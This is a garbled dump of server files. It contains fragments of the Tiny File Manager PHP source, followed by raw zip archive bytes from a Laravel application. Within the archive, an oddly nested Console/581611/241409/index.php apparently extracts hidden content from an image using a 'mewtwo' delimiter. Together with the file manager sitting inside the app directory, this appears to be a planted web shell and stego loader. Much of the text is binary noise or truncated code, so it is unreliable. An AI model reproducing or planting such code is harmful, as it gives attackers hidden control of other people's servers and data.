'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fm_enc($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fm_enc($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } /** * Verify CSRF TOKEN and remove after cerify * @param string $token * @return bool */ function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fm_enc(fm_convert_win($file_path)) ); } } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param string $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } /** * It returns the mime type of a file based on its extension. * @param extension The file extension of the file you want to get the mime type for. * @return string|string[] The mime type of the file. */ function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return array|null */ function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /** * Parameters: downloadFile(File Location, File Name, * max speed, is streaming * If streaming - videos will show as videos, images as images * instead of download prompt * https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } /** * If the theme is dark, return the text-white and bg-dark classes. * @return string the value of the variable. */ function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

'; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
'; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
PKVZ!`--Console/581611/241409/index.phpnu[" . $x[1]); } else { echo "The delimiter 'mewtwo' was not found in the image content."; } ?>PKVZConsole/index.phpnu[PKVZPPConsole/Kernel.phpnu[command('inspire') // ->hourly(); } /** * Register the commands for the application. * * @return void */ protected function commands() { $this->load(__DIR__.'/Commands'); require base_path('routes/console.php'); } } PKVZdConsole/desktop.ininu[[.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files (x86)\Google\Drive\googledrivesync.exe IconIndex=16 PKVZŌAnalyticsVisitor.phpnu[hasMany('App\AnalyticsPage',"visitor_id"); } } PKVZq~app.zipnu[PKGK=TTopicCategory.php- 0 ym&^tǁt] ][ٻC{9#zb'$ 0E+#2rA`iV>U }%/QlW0qVb*)ZpLVM9 C4ޯ q9O%Ne0c mή~yq]_PKXK8`ĶWebmasterSectionField.php-j0D{( RIP dIJUD6cf>qHse2'4xv᧰5vԎD$s6eg3{#XxV29Q|"e۵ o%%yJ?$W[Uߍn wZ÷5뇐 rֈDn:WXPKH.Ks gpWebmasterSetting.php1 P = z "-i4<(wO'2 |rZ/.&rQe`Y wU"!scKo!u}PK EtLConsole/PKGLjPConsole/Kernel.phpS]k0}ϯB܆2Qbz4!+_m&v_Rz+M5ZM“֛V a%{`*,rb>}V^q% si{BCYȑ@l2iO[-T]6K,a@16{ 1:Y{ Qk%\>r2TkۅuDSCk߲LFA7;/YOTFH7nwW^鼳&\Z &XyM:[t:4mT12n͞7\(ZE\bdn<w{.>-Xh41;<,>Iy"PK EtL Exceptions/PKGL2zqExceptions/Handler.phpSN@+)YN@JEhn {.o!VX֞}wYfqIcApKA^ae1 z[qi, n\%6[mY)cQcЋ-kzFi\Cm@Ń=2uLޱPR\PU1㺭ճ*YOp n>UJ=VxcXam6ut4{2^}v\ڟ2 jݫ{2{*r0F35zq5_d9`qIq`#;I$-)É)h8:H'ۑlI~{5tz5 Ch"gI xXn#vtZ; Ǒ߲PK EtLHelpers/PKtL\:unOHelpers/Helper.php\ms6_S5!ʒWǎ캉d&ir&q(P,-wHI֓EŃUyz;~53r0D3b(xÁҳ^jyiatqZ0*9L+|gAF3Xp/DzS,0FyVpF}be$T2Tu.-gB2Z,$+ ΅tȟ-td!hoA*` !$]wJ^,#GuP/0CCt J^X ".!3;a#л; _t^2eɊ""+X׬ J!m~X0<F}!Ŏ^P>h``z%k3CK.Yw3=gkleZr+\#yFZ` љHO(Q{R;l0VU_zi[*J%-N*MA]Q5[#Rg5e~+1N5-a)d!DMf*{Լ17zO;s1+ Wm9ȝ4~_ Y bCڛ 1N'O>h/8~1L;B 9ˠW!ӹI) M]=zphFh^=?>!̬CW/<>_. p4GzZS0:ʸ"zs FZr{O$3zCo!I= gf@ b`olZ 0!bQoߝ?0Àl3Sհy[0|Զ&aQY5d`߅5DXCM=WSd9žCSl|.hA!)y(i/sL>؝璏㺥~n i!7S&ކ96ZgIX_,@>zt01<m9G!~KCI^IjPyYfWtMrNq]>zYIo ] D-&ݵb ,W <ٓO*avHՎ0-H4t>'DNx~{~3|oI'JKe5P–S5,{ߡ^ji?U]2s S 2=;$GJ2)#/ OiN{R@YN !+0]9x< 6L/UÄJ#4JXuRE43_H'7o'<pk@lG U!˷giǧgWR̥m0 b,AO6NώOκ=4E3 >zϾB!LrmĨ (ei-0!y-]?̖hrZ 3PC ,ц8Eԡ# [(6ۘqTxC{U̸Kbˁce2Ԥ?=$DЧOIߢ`K9:B&㧜`m]]Pd_ߓr2gb[|'Ghtw;݁V]aReĨ\1;^v\p$7{4Ԓ\W8m؃BFMNj5wpԯw>AW|[1̙)S򼡾JT4:!Gw[O^oIWD,c },̴ҏ27N$&ժ  h9f5o"Ma@ڔb|b70fG _Qd;@熴]\.~$4axdDpY-GF@aؒ&=\Lݠ H"I?nm\TDQU\nE|eQO#wF F<C~{0aĊbhAfWC'çr:}ZA'p@ zUXi>Q\hr dᾘ0F胁0^9\2z`2wXLEiyn.RK=]E|`K$nPrMFW(dJoڦJ[tE[Enw| 